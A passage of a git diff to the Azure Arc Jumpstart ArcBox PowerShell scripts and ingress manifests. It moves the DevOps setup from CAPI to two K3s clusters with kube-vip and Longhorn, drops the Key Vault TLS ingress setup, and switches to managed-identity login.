"C:\ArcBox", [System.EnvironmentVariableTarget]::Machine) @@ -242,6 +244,7 @@ if ($flavor -eq "DevOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/icons/bookstore.ico") -OutFile $Env:ArcBoxIconDir\bookstore.ico Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/devops.tests.ps1") -OutFile $Env:ArcBoxTestsDir\devops.tests.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/devops.dsc.yml") -OutFile $Env:ArcBoxDscDir\devops.dsc.yml + Invoke-WebRequest ($templateBaseUrl + "artifacts/longhorn.yaml") -OutFile $Env:ArcBoxDir\longhorn.yaml } # DataOps @@ -269,6 +272,7 @@ if ($flavor -eq "DataOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/testDefenderForSQL.ps1") -OutFile $Env:ArcBoxDir\testDefenderForSQL.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/dataops.tests.ps1") -OutFile $Env:ArcBoxTestsDir\dataops.tests.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/dataops.dsc.yml") -OutFile $Env:ArcBoxDscDir\dataops.dsc.yml + Invoke-WebRequest ($templateBaseUrl + "artifacts/longhorn.yaml") -OutFile $Env:ArcBoxDir\longhorn.yaml } # Full diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index ba98390998..7084717a84 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -31,7 +31,7 @@ Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscrip # Required for CLI commands Write-Header "Az CLI Login" -az login --identity --tenant $spnTenantId +az login --identity az account set -s $env:subscriptionId # Retrieve Azure Key Vault secrets and store as runtime environment variables diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index b60a8d6f8b..5b363a155d 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -10,11 +10,17 @@ $osmCLIReleaseVersion = "v1.2.3" $osmMeshName = "osm" $ingressNamespace = "ingress-nginx" -$certname = "ingress-cert" +# $certname = "ingress-cert" $certdns = "arcbox.devops.com" $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" +$clusters = @( + [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; context = "arcbox-datasvc-k3s" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config" } + + [pscustomobject]@{clusterName = $Env:k3sArcClusterName; context = "arcbox-k3s" ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s" } +) + Start-Transcript -Path $Env:ArcBoxLogsDir\DevOpsLogonScript.log # Required for azcopy and Get-AzResource @@ -29,53 +35,57 @@ if(-not $($cliDir.Parent.Attributes.HasFlag([System.IO.FileAttributes]::Hidden)) $Env:AZURE_CONFIG_DIR = $cliDir.FullName -$Env:capiArcDataClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "CAPI" | Where-Object { $_ -ne "" } -$Env:capiArcDataClusterName=$Env:capiArcDataClusterName -replace "`n","" +$Env:k3sArcDataClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "ArcBox-DataSvc-K3s" | Where-Object { $_ -ne "" } +$Env:k3sArcDataClusterName=$Env:k3sArcDataClusterName -replace "`n","" + +$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "ArcBox-K3s" | Where-Object { $_ -ne "" } +$Env:k3sArcClusterName=$Env:k3sArcClusterName -replace "`n","" # Required for CLI commands Write-Header "Az CLI Login" -az login --identity --tenant $spnTenantId +az login --identity az account set -s $env:subscriptionId -# Downloading CAPI Kubernetes cluster kubeconfig file -Write-Header "Downloading CAPI K8s Kubeconfig" -$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/staging-capi/config" +# Downloading ArcBox-DataSvc-K3s Kubernetes cluster kubeconfig file +Write-Header "Downloading ArcBox-DataSvc-K3s K8s Kubeconfig" +$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcDataClusterName.ToLower())/config" $context = (Get-AzStorageAccount -ResourceGroupName $Env:resourceGroup).Context -$sas = New-AzStorageAccountSASToken -Context $context -Service Blob -ResourceType Object -Permission racwdlup +$sas = New-AzStorageAccountSASToken -Context $context -Service Blob -ResourceType Container,Object -Permission racwdlup $sourceFile = $sourceFile + "?" + $sas azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:USERNAME\.kube\config" -# Downloading Rancher K3s cluster kubeconfig file -Write-Header "Downloading K3s Kubeconfig" -$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/staging-k3s/config" -$context = (Get-AzStorageAccount -ResourceGroupName $Env:resourceGroup).Context -$sas = New-AzStorageAccountSASToken -Context $context -Service Blob -ResourceType Object -Permission racwdlup +# Downloading ArcBox-DataSvc-K3s log file +Write-Header "Downloading ArcBox-DataSvc-K3s Install Logs" +$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcDataClusterName.ToLower())/*" $sourceFile = $sourceFile + "?" + $sas -azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:USERNAME\.kube\config-k3s" +azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" -# Downloading 'installCAPI.log' log file -Write-Header "Downloading CAPI Install Logs" -$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/staging-capi/installCAPI.log" +# Downloading ArcBox-K3s cluster kubeconfig file +Write-Header "Downloading ArcBox-K3s Kubeconfig" +$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcClusterName.ToLower())/config" +$context = (Get-AzStorageAccount -ResourceGroupName $Env:resourceGroup).Context +$sas = New-AzStorageAccountSASToken -Context $context -Service Blob -ResourceType Container,Object -Permission racwdlup $sourceFile = $sourceFile + "?" + $sas -azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\installCAPI.log" +azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:USERNAME\.kube\config-k3s" +$Env:KUBECONFIG="C:\users\$Env:USERNAME\.kube\config" -# Downloading 'installK3s.log' log file -Write-Header "Downloading K3s Install Logs" -$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/staging-k3s/installK3s.log" +# Downloading ArcBox-K3s log file +Write-Header "Downloading ArcBox-K3s Install Logs" +$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcClusterName.ToLower())/*" $sourceFile = $sourceFile + "?" + $sas -azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\installK3s.log" - -# Merging kubeconfig files from CAPI and Rancher K3s -Write-Header "Merging CAPI & K3s Kubeconfigs" -Copy-Item -Path "C:\Users\$Env:USERNAME\.kube\config" -Destination "C:\Users\$Env:USERNAME\.kube\config.backup" -$Env:KUBECONFIG="C:\Users\$Env:USERNAME\.kube\config;C:\Users\$Env:USERNAME\.kube\config-k3s" -kubectl config view --raw > C:\users\$Env:USERNAME\.kube\config_tmp -kubectl config get-clusters --kubeconfig=C:\users\$Env:USERNAME\.kube\config_tmp -Remove-Item -Path "C:\Users\$Env:USERNAME\.kube\config" -Remove-Item -Path "C:\Users\$Env:USERNAME\.kube\config-k3s" -Move-Item -Path "C:\Users\$Env:USERNAME\.kube\config_tmp" -Destination "C:\users\$Env:USERNAME\.kube\config" -$Env:KUBECONFIG="C:\users\$Env:USERNAME\.kube\config" -kubectx +azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" + +# # Merging kubeconfig files from ArcBox-DataSvc-K3s and ArcBox-K3s +# Write-Header "Merging ArcBox-DataSvc-K3s & ArcBox-K3s Kubeconfigs" +# Copy-Item -Path "C:\Users\$Env:USERNAME\.kube\config" -Destination "C:\Users\$Env:USERNAME\.kube\config.backup" +# $Env:KUBECONFIG="C:\Users\$Env:USERNAME\.kube\config;C:\Users\$Env:USERNAME\.kube\config-k3s" +# kubectl config view --raw > C:\users\$Env:USERNAME\.kube\config_tmp +# kubectl config get-clusters --kubeconfig=C:\users\$Env:USERNAME\.kube\config_tmp +# Remove-Item -Path "C:\Users\$Env:USERNAME\.kube\config" +# Remove-Item -Path "C:\Users\$Env:USERNAME\.kube\config-k3s" +# Move-Item -Path "C:\Users\$Env:USERNAME\.kube\config_tmp" -Destination "C:\users\$Env:USERNAME\.kube\config" +# $Env:KUBECONFIG="C:\users\$Env:USERNAME\.kube\config" +# kubectx # Download OSM binaries Write-Header "Downloading OSM Binaries" @@ -92,13 +102,188 @@ az config set extension.use_dynamic_install=yes_without_prompt Write-Host "`n" az -v +foreach ($cluster in $clusters) { + + Write-Header "Configuring kube-vip on K3s cluster" + $Env:KUBECONFIG=$cluster.kubeConfig + kubectx + + $nicName = $cluster.clusterName + "-NIC" + $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv + +# Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml +$kubeVipRBAC = @" +apiVersion: v1 +kind: ServiceAccount +metadata: + name: kube-vip + namespace: kube-system +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + annotations: + rbac.authorization.kubernetes.io/autoupdate: "true" + name: system:kube-vip-role +rules: + - apiGroups: [""] + resources: ["services/status"] + verbs: ["update"] + - apiGroups: [""] + resources: ["services", "endpoints"] + verbs: ["list","get","watch", "update"] + - apiGroups: [""] + resources: ["nodes"] + verbs: ["list","get","watch", "update", "patch"] + - apiGroups: ["coordination.k8s.io"] + resources: ["leases"] + verbs: ["list", "get", "watch", "update", "create"] + - apiGroups: ["discovery.k8s.io"] + resources: ["endpointslices"] + verbs: ["list","get","watch", "update"] +--- +kind: ClusterRoleBinding +apiVersion: rbac.authorization.k8s.io/v1 +metadata: + name: system:kube-vip-binding +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: system:kube-vip-role +subjects: +- kind: ServiceAccount + name: kube-vip + namespace: kube-system +"@ + +$kubeVipRBAC | kubectl apply -f - + +# Apply kube-vip DaemonSet +$kubeVipDaemonset = @" +apiVersion: apps/v1 +kind: DaemonSet +metadata: + creationTimestamp: null + labels: + app.kubernetes.io/name: kube-vip-ds + app.kubernetes.io/version: v0.7.0 + name: kube-vip-ds + namespace: kube-system +spec: + selector: + matchLabels: + app.kubernetes.io/name: kube-vip-ds + template: + metadata: + creationTimestamp: null + labels: + app.kubernetes.io/name: kube-vip-ds + app.kubernetes.io/version: v0.7.0 + spec: + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + - matchExpressions: + - key: node-role.kubernetes.io/master + operator: Exists + - matchExpressions: + - key: node-role.kubernetes.io/control-plane + operator: Exists + containers: + - args: + - manager + env: + - name: vip_arp + value: "true" + - name: port + value: "6443" + - name: vip_interface + value: eth0 + - name: vip_cidr + value: "32" + - name: dns_mode + value: first + - name: cp_enable + value: "true" + - name: cp_namespace + value: kube-system + - name: svc_enable + value: "true" + - name: svc_leasename + value: plndr-svcs-lock + - name: vip_leaderelection + value: "true" + - name: vip_leasename + value: plndr-cp-lock + - name: vip_leaseduration + value: "5" + - name: vip_renewdeadline + value: "3" + - name: vip_retryperiod + value: "1" + - name: address + value: "$k3sVIP" + - name: prometheus_server + value: :2112 + image: ghcr.io/kube-vip/kube-vip:v0.7.0 + imagePullPolicy: Always + name: kube-vip + resources: {} + securityContext: + capabilities: + add: + - NET_ADMIN + - NET_RAW + hostNetwork: true + serviceAccountName: kube-vip + tolerations: + - effect: NoSchedule + operator: Exists + - effect: NoExecute + operator: Exists + updateStrategy: {} +status: + currentNumberScheduled: 0 + desiredNumberScheduled: 0 + numberMisscheduled: 0 + numberReady: 0 +"@ + +$kubeVipDaemonset | kubectl apply -f - + + # Kube vip cloud controller + kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml + + # Set kube-vip range-global for kubernetes services + $serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``false``].privateIPAddress" -otsv + $sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} + $lowestServiceIp = $sortedIps[0] + $highestServiceIp = $sortedIps[-1] + + kubectl create configmap -n kube-system kubevip --from-literal range-global=$lowestServiceIp-$highestServiceIp + Start-Sleep -Seconds 30 + + Write-Header "Creating longhorn storage on K3scluster" + kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" --kubeconfig $cluster.kubeConfig + Start-Sleep -Seconds 30 + Write-Host "`n" +} + +# # Longhorn setup for RWX-capable storage class +# Write-Header "Creating longhorn storage" +# kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" +# Start-Sleep -Seconds 30 + # "Create OSM Kubernetes extension instance" Write-Header "Creating OSM K8s Extension Instance" +$Env:KUBECONFIG=$clusters[0].kubeConfig +kubectx az k8s-extension create ` --name $osmMeshName ` --extension-type Microsoft.openservicemesh ` --scope cluster ` - --cluster-name $Env:capiArcDataClusterName ` + --cluster-name $Env:k3sArcDataClusterName ` --resource-group $Env:resourceGroup ` --cluster-type connectedClusters ` --version $osmReleaseVersion ` @@ -128,7 +313,7 @@ Write-Header "Applying GitOps Configs" # Create GitOps config for NGINX Ingress Controller Write-Host "Creating GitOps config for NGINX Ingress Controller" az k8s-configuration flux create ` - --cluster-name $Env:capiArcDataClusterName ` + --cluster-name $Env:k3sArcDataClusterName ` --resource-group $Env:resourceGroup ` --name config-nginx ` --namespace $ingressNamespace ` @@ -141,7 +326,7 @@ az k8s-configuration flux create ` # Create GitOps config for Bookstore application Write-Host "Creating GitOps config for Bookstore application" az k8s-configuration flux create ` - --cluster-name $Env:capiArcDataClusterName ` + --cluster-name $Env:k3sArcDataClusterName ` --resource-group $Env:resourceGroup ` --name config-bookstore ` --cluster-type connectedClusters ` @@ -152,7 +337,7 @@ az k8s-configuration flux create ` # Create GitOps config for Bookstore RBAC Write-Host "Creating GitOps config for Bookstore RBAC" az k8s-configuration flux create ` - --cluster-name $Env:capiArcDataClusterName ` + --cluster-name $Env:k3sArcDataClusterName ` --resource-group $Env:resourceGroup ` --name config-bookstore-rbac ` --cluster-type connectedClusters ` @@ -165,7 +350,7 @@ az k8s-configuration flux create ` # Create GitOps config for Bookstore Traffic Split Write-Host "Creating GitOps config for Bookstore Traffic Split" az k8s-configuration flux create ` - --cluster-name $Env:capiArcDataClusterName ` + --cluster-name $Env:k3sArcDataClusterName ` --resource-group $Env:resourceGroup ` --name config-bookstore-osm ` --cluster-type connectedClusters ` @@ -178,7 +363,7 @@ az k8s-configuration flux create ` # Create GitOps config for Hello-Arc application Write-Host "Creating GitOps config for Hello-Arc application" az k8s-configuration flux create ` - --cluster-name $Env:capiArcDataClusterName ` + --cluster-name $Env:k3sArcDataClusterName ` --resource-group $Env:resourceGroup ` --name config-helloarc ` --namespace hello-arc ` @@ -188,43 +373,72 @@ az k8s-configuration flux create ` --branch main --sync-interval 3s ` --kustomization name=helloarc path=./hello-arc/yaml -################################################ -# - Install Key Vault Extension / Create Ingress -################################################ - -Write-Header "Installing KeyVault Extension" - -Write-Host "Generating a TLS Certificate" -$cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" -$certPassword = ConvertTo-SecureString -String "arcbox" -Force -AsPlainText -Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$certname.pfx" -Password $certPassword -Import-PfxCertificate -FilePath "$Env:TempDir\$certname.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword - -Write-Host "Importing the TLS certificate to Key Vault" -az keyvault certificate import ` - --vault-name $Env:keyVaultName ` - --password "arcbox" ` - --name $certname ` - --file "$Env:TempDir\$certname.pfx" - -Write-Host "Installing Azure Key Vault Kubernetes extension instance" -az k8s-extension create ` - --name 'akvsecretsprovider' ` - --extension-type Microsoft.AzureKeyVaultSecretsProvider ` - --scope cluster ` - --cluster-name $Env:capiArcDataClusterName ` - --resource-group $Env:resourceGroup ` - --cluster-type connectedClusters ` - --release-namespace kube-system ` - --configuration-settings 'secrets-store-csi-driver.enableSecretRotation=true' 'secrets-store-csi-driver.syncSecret.enabled=true' - -# Replace Variable values +$configs = $(az k8s-configuration flux list --cluster-name $Env:k3sArcDataClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup --query "[].name" -otsv) + +foreach ($configName in $configs) { + Write-Host "Checking GitOps configuration $configName on $Env:k3sArcDataClusterName" + $retryCount = 0 + $maxRetries = 5 + do { + $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcDataClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON + if ($configStatus.ComplianceState -eq "Compliant") { + Write-Host "GitOps configuration $configName is ready on $Env:k3sArcDataClusterName" + } + else { + if ($configStatus.ComplianceState -ne "Non-compliant") { + Start-Sleep -Seconds 60 + } + elseif ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -lt $maxRetries) { + Start-Sleep -Seconds 60 + $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcDataClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON + if ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -lt $maxRetries) { + $retryCount++ + } + } + elseif ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -eq $maxRetries) { + Write-Host "GitOps configuration $configName has failed on $Env:k3sArcDataClusterName. Exiting..." + break + } + } + } until ($configStatus.ComplianceState -eq "Compliant") +} +# ################################################ +# # - Install Key Vault Extension / Create Ingress +# ################################################ + +# Write-Header "Installing KeyVault Extension" + +# Write-Host "Generating a TLS Certificate" +# $cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" +# $certPassword = ConvertTo-SecureString -String "arcbox" -Force -AsPlainText +# Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$certname.pfx" -Password $certPassword +# Import-PfxCertificate -FilePath "$Env:TempDir\$certname.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword + +# Write-Host "Importing the TLS certificate to Key Vault" +# az keyvault certificate import ` +# --vault-name $Env:keyVaultName ` +# --password "arcbox" ` +# --name $certname ` +# --file "$Env:TempDir\$certname.pfx" + +# Write-Host "Installing Azure Key Vault Kubernetes extension instance" +# az k8s-extension create ` +# --name 'akvsecretsprovider' ` +# --extension-type Microsoft.AzureKeyVaultSecretsProvider ` +# --scope cluster ` +# --cluster-name $Env:k3sArcDataClusterName ` +# --resource-group $Env:resourceGroup ` +# --cluster-type connectedClusters ` +# --release-namespace kube-system ` +# --configuration-settings 'secrets-store-csi-driver.enableSecretRotation=true' 'secrets-store-csi-driver.syncSecret.enabled=true' + +# # Replace Variable values Get-ChildItem -Path $Env:ArcBoxKVDir | ForEach-Object { - (Get-Content -path $_.FullName -Raw) -Replace '\{JS_CERTNAME}', $certname | Set-Content -Path $_.FullName - (Get-Content -path $_.FullName -Raw) -Replace '\{JS_KEYVAULTNAME}', $Env:keyVaultName | Set-Content -Path $_.FullName + # (Get-Content -path $_.FullName -Raw) -Replace '\{JS_CERTNAME}', $certname | Set-Content -Path $_.FullName + # (Get-Content -path $_.FullName -Raw) -Replace '\{JS_KEYVAULTNAME}', $Env:keyVaultName | Set-Content -Path $_.FullName (Get-Content -path $_.FullName -Raw) -Replace '\{JS_HOST}', $certdns | Set-Content -Path $_.FullName - (Get-Content -path $_.FullName -Raw) -Replace '\{JS_TENANTID}', $Env:spnTenantId | Set-Content -Path $_.FullName + # (Get-Content -path $_.FullName -Raw) -Replace '\{JS_TENANTID}', $Env:spnTenantId | Set-Content -Path $_.FullName } Write-Header "Creating Ingress Controller" @@ -232,8 +446,8 @@ Write-Header "Creating Ingress Controller" # Deploy Ingress resources for Bookstore and Hello-Arc App foreach ($namespace in @('bookstore', 'bookbuyer', 'hello-arc')) { # Create the Kubernetes secret with the service principal credentials - kubectl create secret generic secrets-store-creds --namespace $namespace --from-literal clientid=$Env:spnClientID --from-literal clientsecret=$Env:spnClientSecret - kubectl --namespace $namespace label secret secrets-store-creds secrets-store.csi.k8s.io/used=true + # kubectl create secret generic secrets-store-creds --namespace $namespace --from-literal clientid=$Env:spnClientID --from-literal clientsecret=$Env:spnClientSecret + # kubectl --namespace $namespace label secret secrets-store-creds secrets-store.csi.k8s.io/used=true # Deploy Key Vault resources and Ingress for Book Store and Hello-Arc App kubectl --namespace $namespace apply -f "$Env:ArcBoxKVDir\$namespace.yaml" @@ -270,17 +484,17 @@ New-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallFo Write-Header "Creating Desktop Icons" -# Creating CAPI Hello Arc Icon on Desktop -$shortcutLocation = "$Env:Public\Desktop\CAPI Hello-Arc.lnk" +# Creating K3s Hello Arc Icon on Desktop +$shortcutLocation = "$Env:Public\Desktop\Hello-Arc.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) -$shortcut.TargetPath = "https://$certdns" +$shortcut.TargetPath = "http://$certdns" $shortcut.IconLocation="$Env:ArcBoxIconDir\arc.ico, 0" $shortcut.WindowStyle = 3 $shortcut.Save() -# Creating CAPI Bookstore Icon on Desktop -$shortcutLocation = "$Env:Public\Desktop\CAPI Bookstore.lnk" +# Creating K3s Bookstore Icon on Desktop +$shortcutLocation = "$Env:Public\Desktop\Bookstore.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) $shortcut.TargetPath = "pwsh.exe" diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml index 1b847169b4..feb77ea40a 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml @@ -1,64 +1,11 @@ -apiVersion: secrets-store.csi.x-k8s.io/v1 -kind: SecretProviderClass -metadata: - name: azure-kv-sync-tls -spec: - provider: azure - secretObjects: # secretObjects defines the desired state of synced K8s secret objects - - secretName: ingress-tls-csi - type: kubernetes.io/tls - data: - - objectName: {JS_CERTNAME} - key: tls.key - - objectName: {JS_CERTNAME} - key: tls.crt - parameters: - usePodIdentity: "false" - keyvaultName: {JS_KEYVAULTNAME} - objects: | - array: - - | - objectName: {JS_CERTNAME} - objectType: secret - tenantId: {JS_TENANTID} ---- -apiVersion: v1 -kind: Pod -metadata: - name: busybox-secrets-sync -spec: - containers: - - name: busybox - image: k8s.gcr.io/e2e-test-images/busybox:1.29 - command: - - "/bin/sleep" - - "10000" - volumeMounts: - - name: secrets-store-inline - mountPath: "/mnt/secrets-store" - readOnly: true - volumes: - - name: secrets-store-inline - csi: - driver: secrets-store.csi.k8s.io - readOnly: true - volumeAttributes: - secretProviderClass: "azure-kv-sync-tls" - nodePublishSecretRef: - name: secrets-store-creds ---- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: - name: ingress-tls + name: ingress annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /$1 spec: - tls: - - hosts: - - {JS_HOST} - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: {JS_HOST} http: diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml index 26c8238a15..7cf3770a2e 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml @@ -1,64 +1,11 @@ -apiVersion: secrets-store.csi.x-k8s.io/v1 -kind: SecretProviderClass -metadata: - name: azure-kv-sync-tls -spec: - provider: azure - secretObjects: # secretObjects defines the desired state of synced K8s secret objects - - secretName: ingress-tls-csi - type: kubernetes.io/tls - data: - - objectName: {JS_CERTNAME} - key: tls.key - - objectName: {JS_CERTNAME} - key: tls.crt - parameters: - usePodIdentity: "false" - keyvaultName: {JS_KEYVAULTNAME} - objects: | - array: - - | - objectName: {JS_CERTNAME} - objectType: secret - tenantId: {JS_TENANTID} ---- -apiVersion: v1 -kind: Pod -metadata: - name: busybox-secrets-sync -spec: - containers: - - name: busybox - image: k8s.gcr.io/e2e-test-images/busybox:1.29 - command: - - "/bin/sleep" - - "10000" - volumeMounts: - - name: secrets-store-inline - mountPath: "/mnt/secrets-store" - readOnly: true - volumes: - - name: secrets-store-inline - csi: - driver: secrets-store.csi.k8s.io - readOnly: true - volumeAttributes: - secretProviderClass: "azure-kv-sync-tls" - nodePublishSecretRef: - name: secrets-store-creds ---- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: - name: ingress-tls + name: ingress annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /$1 spec: - tls: - - hosts: - - {JS_HOST} - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: {JS_HOST} http: diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml index b372aaaf4b..1dc452b013 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml @@ -1,64 +1,11 @@ -apiVersion: secrets-store.csi.x-k8s.io/v1 -kind: SecretProviderClass -metadata: - name: azure-kv-sync-tls -spec: - provider: azure - secretObjects: # secretObjects defines the desired state of synced K8s secret objects - - secretName: ingress-tls-csi - type: kubernetes.io/tls - data: - - objectName: {JS_CERTNAME} - key: tls.key - - objectName: {JS_CERTNAME} - key: tls.crt - parameters: - usePodIdentity: "false" - keyvaultName: {JS_KEYVAULTNAME} - objects: | - array: - - | - objectName: {JS_CERTNAME} - objectType: secret - tenantId: {JS_TENANTID} ---- -apiVersion: v1 -kind: Pod -metadata: - name: busybox-secrets-sync -spec: - containers: - - name: busybox - image: k8s.gcr.io/e2e-test-images/busybox:1.29 - command: - - "/bin/sleep" - - "10000" - volumeMounts: - - name: secrets-store-inline - mountPath: "/mnt/secrets-store" - readOnly: true - volumes: - - name: secrets-store-inline - csi: - driver: secrets-store.csi.k8s.io - readOnly: true - volumeAttributes: - secretProviderClass: "azure-kv-sync-tls" - nodePublishSecretRef: - name: secrets-store-creds ---- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: - name: ingress-tls + name: ingress annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: / spec: - tls: - - hosts: - - {JS_HOST} - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: {JS_HOST} http: diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 index 693e94e4a9..8d29d8cf63 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 @@ -3,21 +3,21 @@ $Env:ToolsDir = "C:\Tools" $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" $Env:ArcBoxIconDir = "C:\ArcBox\Icons" -$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "K3s" | Where-Object { $_ -ne "" } +$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "ArcBox-K3s" | Where-Object { $_ -ne "" } $Env:k3sArcClusterName=$Env:k3sArcClusterName -replace "`n","" $k3sNamespace = "hello-arc" $ingressNamespace = "ingress-nginx" -$certname = "k3s-ingress-cert" +# $certname = "k3s-ingress-cert" $certdns = "arcbox.k3sdevops.com" $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" Start-Transcript -Path $Env:ArcBoxLogsDir\K3sGitOps.log -Write-Host "Login to Az CLI using the service principal" -az login --service-principal --username $Env:spnClientID --password=$Env:spnClientSecret --tenant $Env:spnTenantId +Write-Host "Login to Az CLI using the managed identity" +az login --identity # Making extension install dynamic az config set extension.use_dynamic_install=yes_without_prompt @@ -25,7 +25,8 @@ Write-Host "`n" az -v # Switch kubectl context to arcbox-k3s -kubectx arcbox-k3s 